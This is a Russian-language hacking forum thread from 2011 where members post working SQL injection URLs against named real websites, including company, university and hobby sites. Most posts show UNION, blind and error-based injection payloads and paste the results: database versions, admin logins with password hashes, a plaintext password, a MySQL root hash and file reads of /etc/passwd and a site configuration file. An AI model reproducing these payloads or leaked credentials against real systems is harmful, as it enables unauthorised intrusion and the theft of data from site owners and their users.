SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    4 эх :(
     
    1 person likes this.
  2. vaddd

    vaddd Member

    Joined:
    6 Jan 2009
    Messages:
    140
    Likes Received:
    19
    Reputations:
    9
    http://railroad.union.rpi.edu/article.php?article=0%20union%20select%201,2,3,version()
     
  3. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    сервесный центр FORD

    http://www.ford-nnov.ru/index.php?page=42&idm=-3+and+1=2+union+select+1,2,3,concat_ws(0x3a,@@version,user(),database()),5,6,7,8+--

    дальнейшие действия блокирует sweb

    http://www.ford-nnov.ru/index.php?page=42&idm=-3+and+1=2+union+select+1,2,3,4,5,6,7,8+from+admin--
     
  4. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862

    Крутил бы через слепую. Я уже писал, что раскручивание скулей через слепую инъекцию spaceweb не блокирует.

    В твоём случае:
    Code:
    http://www.ford-nnov.ru/index.php?page=42&idm=-3+or+ascii(substring((select+anket_forms.email+from+fordnnov.anket_forms+order+by+id+limit+0,1),1,1))=97
    Там 207 записей вида email:hash
    Вот только авторизации я не нашёл
     
    _________________________
  5. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    http://www.vladdom.ru/index.php?mod=page_show&id_pag=-49+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),DATABASE()),6,7,8,9,0,1,2++--+
     
    1 person likes this.
  6. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    Обратил внимание на ошибку, filesize() /7
    Code:
    http://www.vladdom.ru/index.php?mod=page_show&id_pag=-49+union+select+1,2,3,4,concat_ws%280x3a,version%28%29,user%28%29,DATABASE%28%29%29,6,0x2e2e2f2e2e2f436f6e6e656374696f6e732f76646f6d2e706870,8,9,0,1,2++--+
    Тыкаем на скачать файл ../../Connections/vdom.php и получаем файл. :)

    /etc/passwd:
    Code:
    http://www.vladdom.ru/index.php?mod=page_show&id_pag=-49+union+select+1,2,3,4,concat_ws%280x3a,version%28%29,user%28%29,DATABASE%28%29%29,6,0x2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764,8,9,0,1,2++--+
    
     
    3 people like this.
  7. ta-kyn

    ta-kyn Member

    Joined:
    7 May 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    2
    Code:
    http://www.bcspeakers.org/product.php?id=0000000347+UNION+SELECT+1,2,3,4,5,6,CONCAT_WS(USER(),VERSION(),DATABASE()),8,9,10,11,12,13,14,15+--
    5.0.77www-bcspeakersro@localhostwww-bcspeakerstest

    user:becspeak2803
     
    2 people like this.
  8. mix0x0

    mix0x0 Active Member

    Joined:
    1 Nov 2010
    Messages:
    363
    Likes Received:
    189
    Reputations:
    92
    Code:
    http://www.[B]drawminos.com[/B]/index.html?id=[COLOR=Red]-[/COLOR]218283[COLOR=Red]+union+select+1,2,concat_ws(version(),database(),user()),4,5,6+--+[/COLOR]
    version: 5.0.77
    database: drawminos
    user: drawn

    тИЦ: 10 / PR: 4
     
    1 person likes this.
  9. ta-kyn

    ta-kyn Member

    Joined:
    7 May 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    2
    Code:
    http://luellagloverwilson.co.uk/page.php?p=char(49,57,39)+AND+1=2+UNION+SELECT+1,2,CONCAT_WS(USER(),VERSION(),DATABASE())+--
    5.0.92-communityxian_lgw@localhostxian_lgw

    ..очень грустный оказался inject..

    2nikp - Прошляпил маленько, CONCAT_WS(['-',USER(),VERSION(),DATABASE())
     
    #14269 ta-kyn, 30 Oct 2011
    Last edited: 31 Oct 2011
    1 person likes this.
  10. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    тиЦ 10 PR 6
    Code:
    http://www.dgc.ca/faq2.php?language=0&id=173&faqid=577+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29--
    NDD@localhost:NDD:5.0.22-Debian_0ubuntu6.06.15-log
    P.S: первый раз такое вижу :confused:
    Запрос + код на странице
     
    2 people like this.
  11. g0rm0n

    g0rm0n New Member

    Joined:
    18 Aug 2010
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Code:
    http://www.canaramblers.com/index.php?page=13+union+select+1,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,3
    5.0.91-log:db315217298:[email protected]
    1:1:YES:admin:c50672216e6be50f327c7df719784fe3:
     
  12. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    Code:
    http://il2.aviasibir.ru/mow/?page=pilot&pilotname==WA=Snurf%27+and+1=3+union+select+1,concat_ws%280x3a,database%28%29,user%28%29,version%28%29%29++/*
    Code:
    http://il2.aviasibir.ru/mow/?page=pilot&pilotname==WA=Snurf%27+and+1=3+union+select+1,group_concat%28table_name%29+from+information_schema.tables+where+table_schema!=%27information_schema%27++/*
     
  13. Moriarty

    Moriarty Member

    Joined:
    9 Feb 2011
    Messages:
    16
    Likes Received:
    78
    Reputations:
    74
    www.abw.by аналог нашему auto.ru
    php5/MySQL/nginx
    50К/сутки
    Вообщем принимает индексный файл хреналион параметров - и 100500ый из них дырявый...

    Индексный файл цепляет всего 1 единственную базу "auto" (283 таблицы). Рядом лежит форум (phpBB) но у него наверное своя база со своим юзером ибо его таблиц в тек.базе нет...

    Но есть OpenX. Вероятнее всего версия 2.4 (то бишь OpenAds судя по таблицам):
    Code:
    openads.ab-daily.by/admin/index.php
    abd39:738762a9001a63ee8b820f775325d1e7
    А еще тут глобальный гемор с выводом! Вывод следует сразу за строкой <div style="margin-bottom: 30px;"><a href='3' target='_blank'><img src='/banners/ после слеша. Т.е. на странице никакого вывода нет.

    PHP:
    view-source:http://www.abw.by/index.php?set_small_form_1=1&act=public_search&do=search&index=1&adv_type=1&model=&marka='+UNION+SELECT+group_concat(table_name+separator+0x3c62723e),2,3,4,5+from+information_schema.tables+where+table_schema=0x6175746f+and+table_name%3E0x7068706164735F70617373776F72645F7265636F76657279+--+&type_engine=&year1=1960&year2=2010&cost_val1=&cost_val2=&u_city=7&period=&sort=&x=41&y=6
    PHP:
    view-source:http://www.abw.by/index.php?set_small_form_1=1&act=public_search&do=search&index=1&adv_type=1&model=&marka='+UNION+SELECT+group_concat(column_name+separator+0x3c62723e),2,3,4,5+from+information_schema.columns+where+table_name=0x7068706164735F707265666572656E6365+and+column_name>0x6775695F6865616465725F6163746976655F7461625F636F6C6F72+--+&type_engine=&year1=1960&year2=2010&cost_val1=&cost_val2=&u_city=7&period=&sort=&x=41&y=6
    PHP:
    view-source:http://www.abw.by/index.php?set_small_form_1=1&act=public_search&do=search&index=1&adv_type=1&model=&marka='+UNION+SELECT+count(*),2,3,4,5+from+users+--+&type_engine=&year1=1960&year2=2010&cost_val1=&cost_val2=&u_city=7&period=&sort=&x=41&y=6
    Вообщем have fan :D
     
    #14273 Moriarty, 1 Nov 2011
    Last edited: 1 Nov 2011
    4 people like this.
  14. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    http://www.bioen.utah.EDU/faculty/RDR/index.php?cat_id=-1+union+select+1,version()--

    VERSION =5.5.11=

    университет штата юта

    PR6
     
    2 people like this.
  15. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Просто решил довести ссылки до нормального вида

    Code:
    http://www.fckhimki.ru/modules/news/index.php?current_id=1+and+1=2+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13
    Sql Version: 5.0.90-log
    Current User: [email protected]
    Current DB: fckhimki_new1

    Тиц = 750
    PR = 0

    Юзверей нет =(

    Code:
    http://www.inharmony.ru/news/news.php?id=31+and+1=2+union+select+1,2,3,4,5,version(),7
    Sql Version: 5.0.70-log
    Current User: ba3177@localhost
    Current DB: ba3177_db

    Тиц = 130
    PR = 0
     
    _________________________
    2 people like this.
  16. g0rm0n

    g0rm0n New Member

    Joined:
    18 Aug 2010
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Code:
    http://www.pdasmart.ru/index.php?action=submenu&mtid=-13+union+select+concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29--+
    5.1.56:a1_pdasmart:a1_pdasmart@localhost

    admins--id,login,password,supervisor
    1:white:555999:1,
     
    1 person likes this.
  17. tabletkO

    tabletkO Banned

    Joined:
    3 Nov 2011
    Messages:
    83
    Likes Received:
    20
    Reputations:
    11
    Первый пост =)

    ТИЦ 275, PR 5
    Все легко...
    PHP:
    http://migavia.ru/corporation/?tid=999999.9+union+all+select+1,version(),user(),4,database()--
    ТИЦ 30, PR 4
    Чуть сложнее...
    PHP:
    http://www.coyc.ru/types.php?tid=1+and(select+1+from(select+count(*),concat((select+(select+concat(user()))+from+%60information_schema%60.tables+limit+0,1),floor(rand(0)*2))x+from+%60information_schema%60.tables+group+by+x)tabletkO)+and+1=1
     
  18. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    В сорцах похоже проверка на валидность URL, поэтому пришлось делать CONCAT с http://google.com/
    Code:
    http://www.aquarette.com/adtausch/count.php?click=yes&yourid=8&id=3+and+1=5+union+select+CONCAT(0x687474703a2f2f676f6f676c652e636f6d2f,user())+--+
    
    Нас редиректнит на
    Code:
    http://www.google.com/[email protected]
    Code:
    http://www.aquarette.com/adtausch/count.php?click=yes&yourid=8&id=3+and+1=5+union+select+CONCAT(0x687474703a2f2f676f6f676c652e636f6d2f,concat_ws(0x3b,user(),database(),version()))+--+
    Code:
    http://www.google.com/[email protected];db88894615;4.0.27-max-log
     
    4 people like this.
  19. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    PR 8 ТИЦ 2000
    http://www.washington.EDU/research/ls.php?id=-18+union+select+1,2,3,4,5,6,7,8,version(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--

    УНИВЕР

    (по авторитетности вроде нашего МГУ)


    VERSION DB =5.0.45=

    там есть база с названием wordpress
    вытянул оттуда

    логин: admin
    hash: $P$BCL7jmzj0nFwHYR0Z/tSk5ZtMMuS/2/

    +там еще штук 5-6 друпаловских баз.
    учетки студентов и пр..

    добрался до базы mysql таблица user

    host: washington.edu
    login: root
    hash: *5131AA9105DF140BDBB40A112188C23B35C639F5
     
    #14279 Bramin, 5 Nov 2011
    Last edited: 5 Nov 2011
    5 people like this.
  20. vaddd

    vaddd Member

    Joined:
    6 Jan 2009
    Messages:
    140
    Likes Received:
    19
    Reputations:
    9
    http://freeadvertisingforum.com/adserver/image.php?size_id=0%20union%20select%201,2,3,version%28%29,5,6,7,8,9,10,11

    PR - 4
     
Thread Status:
Not open for further replies.